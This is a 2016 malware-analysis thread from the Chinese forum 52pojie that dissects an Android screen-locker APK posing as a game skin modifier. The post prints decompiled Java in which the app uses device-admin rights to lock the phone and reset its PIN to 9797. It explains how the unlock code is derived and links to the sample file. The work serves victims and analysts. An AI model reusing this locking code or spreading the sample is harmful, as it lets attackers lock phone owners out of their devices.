吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 14261|回复: 26
收起左侧

[移动样本分析] 本菜鸟对锁机APP“王者皮肤修改器.APK”的简单分析

[复制链接]
czc476 发表于 2016-8-26 11:39
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 czc476 于 2016-8-26 13:08 编辑

首先说下,本人真的是纯菜鸟,有限的知识也是通过本论坛学习而得知,所以大神们不要喷我,谢谢
直接进入主题吧
把APK文件拉到androidkiller里分析,发现入口是.M 1.jpg


接下来查看下源码,打开MyAdmin.class,发现软件把锁屏密码改成了9797 2.jpg
[Java] 纯文本查看 复制代码
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(9797);
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(str, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }
  
  @Override
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(9797);
    try
    {
      Object localObject = Class.forName("com.h.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(str, 0);
      super.onEnabled(paramContext, paramIntent);
      return;




然后再打开S.class,翻到下面, 3.jpg ,我们很明显看到,解锁密码就是  随机码+6789
[Java] 纯文本查看 复制代码
public void onCreate()
  {
    super.onCreate();
    this.pass = ((Math.random() * 100000000));
    this.passw = new Long(this.pass + 6789);
    this.des = new DU("flower");
    try

如你的随机码是111111,那么解锁密码就是 117900


视频地址 http://pan.baidu.com/s/1o8aWDo2
样本:http://pan.baidu.com/s/1dFE4BhJ



免费评分

参与人数 3热心值 +3 收起 理由
a201187902 + 1 谢谢@Thanks!
Hmily + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
wanhuo + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| czc476 发表于 2016-9-2 21:31
大明皇后 发表于 2016-9-2 19:15
对于这种锁机APP,即使解开了,我心里也不舒服,还是会直接刷机的

是的,他会在系统文件夹复制几个病毒文件,虽然不会运行,可是心里不舒服
 楼主| czc476 发表于 2016-8-26 12:44
本帖最后由 czc476 于 2016-8-26 12:46 编辑
天儿我 发表于 2016-8-26 12:22
楼主样本,小白求视频

http://pan.baidu.com/s/1dFE4BhJ  样本,另外我不会做视频
 楼主| czc476 发表于 2016-8-26 11:44
本帖最后由 czc476 于 2016-8-26 12:05 编辑

不知道怎么回事,图片传不上来,反正大概是这么个意思吧,大家应该能看懂吧.


图传上来了
bailei 发表于 2016-8-26 11:50
表示看不懂- - 没接触过无线这一块。
 楼主| czc476 发表于 2016-8-26 11:54
bailei 发表于 2016-8-26 11:50
表示看不懂- - 没接触过无线这一块。

我也是,纯粹闹着玩,嘿嘿
麻利麻利哄 发表于 2016-8-26 12:02
没有图片,要是能做的视频教程就ok了
 楼主| czc476 发表于 2016-8-26 12:05
麻利麻利哄 发表于 2016-8-26 12:02
没有图片,要是能做的视频教程就ok了

传上来了
wanhuo 发表于 2016-8-26 12:09
还是不错的 没加密
天儿我 发表于 2016-8-26 12:22
楼主样本,小白求视频
duplay8 发表于 2016-8-26 12:27
楼主发上来样本,让小白也试一下。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 15:18

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表